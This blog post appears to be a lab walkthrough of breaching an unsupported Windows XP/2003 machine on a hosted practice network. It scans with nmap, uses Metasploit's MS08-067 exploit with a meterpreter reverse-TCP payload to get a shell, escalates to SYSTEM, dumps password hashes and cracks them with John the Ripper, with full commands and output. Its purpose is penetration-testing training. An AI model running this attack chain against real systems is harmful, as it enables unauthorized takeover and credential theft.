The Dangers of Windows XP On Your Network

XP has not been supported in years! A flaw has existed for a large percentage of that unsupported time frame that allows for complete control of the asset.

This XP machine is found at the labs of I strongly urge you to log in and have a poke around, especially if your lacking the finances or knowledge to create your own lab.

So we are using OpenVPN to connect to the labs hosted at On the network is an XP box. Our mission is to hunt it down and own it. Its possibly the lowest hanging fruit you’ll find in any network and today we will show you why.

Once in the network you’ll find you’re given an IP in the realm of 10.0.100.x. This is only your VPN tunnel as shown in ifconfig. Go back to the OpenVPN connection window you launched

Sat Jan 13 10:18:27 2018 us=654083 /sbin/ip route add via
Sat Jan 13 10:18:27 2018 us=667003 /sbin/ip route add via

See how its setting up the routes for you. there is available for you. So we should start there. Whilst we could do an nmap discovery scan for all assets, I’m only interested in XP assets. so I’m going to try and enumerate the operating systems of all machines on this subnet:

nmap -O

Output will display its presumptions on the OS of all devices it scanned/enumerated within the subnet, searching through this list we find a Windows box.

Nmap scan report for
Host is up (0.088s latency).
Not shown: 992 closed ports
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
1028/tcp open unknown
3389/tcp open ms-wbt-server
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

We know this is a Windows box due to the ports that are currently open. In a work environment its common to see 135,139 and 445 open for use with file sharing protocols. IIS is another indicator that it is a Microsoft asset. Normally nmap would identify it as XP off the bat, but we now have to dig further to uncover what it is.

Enumerating a little further to confirm what’s running here we use:

nmap -sV

Which will give us the “Service Version” of the ports. This gives us a more detailed output:

root@AttackBox:~# nmap -sV

Starting Nmap 7.60 ( ) at 2018-01-13 10:34 GMT
Nmap scan report for
Host is up (0.098s latency).
Not shown: 992 closed ports
21/tcp   open  ftp           Xlight ftpd 3.8
80/tcp   open  http          Microsoft IIS httpd 6.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 2003 or 2008 microsoft-ds
1027/tcp open  msrpc         Microsoft Windows RPC
1028/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Service
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 62.46 seconds

Now we are pretty sure this is an XP asset (or an extremely poorly configured Windows box). Lets fire up our MetaSploit console using:


Once in we can start to build our attack stagers. We will be using the well known exploit for MS08-067 which has left XP vulnerable and an easy target. We can search for the exploit using:

search ms08_067

Now we can prep the attack. Firstly getting the payload set up then configuring the exploit….

msf > use payload/windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > options

Module options (payload/windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

msf payload(reverse_tcp) > set LHOST
msf payload(reverse_tcp) > search ms08_067
[!] Module database cache not built yet, using slow search

Matching Modules

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption

msf payload(reverse_tcp) > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 
[*] - Automatically detecting the target...
[*] - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] - We could not detect the language pack, defaulting to English
[*] - Selected Target: Windows 2003 SP2 English (NX)
[*] - Attempting to trigger the vulnerability...
[*] Sending stage (179267 bytes) to
[*] Meterpreter session 1 opened ( -> at 2018-01-13 10:55:46 +0000

meterpreter >

Now we have a meterpreter shell we can raise ourselves to system with no hassles and dump the local hashes. I always use ifconfig/ipconfig on a new system to orientate myself on any new system. Should the system be multi-homed you’ll instantly open up an avenue of attack to scan while you work more on the local box.

meterpreter > ifconfig

Interface  1
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address :

Interface 65539
Name         : Realtek RTL8139 Family PCI Fast Ethernet NIC
Hardware MAC : 36:71:58:17:48:d4
MTU          : 1500
IPv4 Address :
IPv4 Netmask :

meterpreter > getsystem system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > hashdump

meterpreter >

pro tip about the hashes. The number between the username and the hash…:

  • A 500 indicates an administrative account
  • and a 501 is a guest account.

Sometimes admins rename guest to admin in order to throw attackers down the wrong path… so keep an eye out for that!

For the sake of shits and giggles since we have the passwords… let slap them through john quickly. Paste them into a file on the desktop creatively called “hashes” and slap them through John

root@AttackBox:~# john --rules=ALL ~/Desktop/hashes 
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT-old"
Use the "--format=NT-old" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 12 password hashes with no different salts (LM [DES 128/128 AVX-16])
Remaining 9 password hashes with no different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
SUMM3RL          (ned:1)
1g 0:00:00:32 11.91% 2/3 (ETA: 11:08:01) 0.03090g/s 743177p/s 743177c/s 6246KC/s DOORS*9..@SDFGH
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

Silly ned.



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s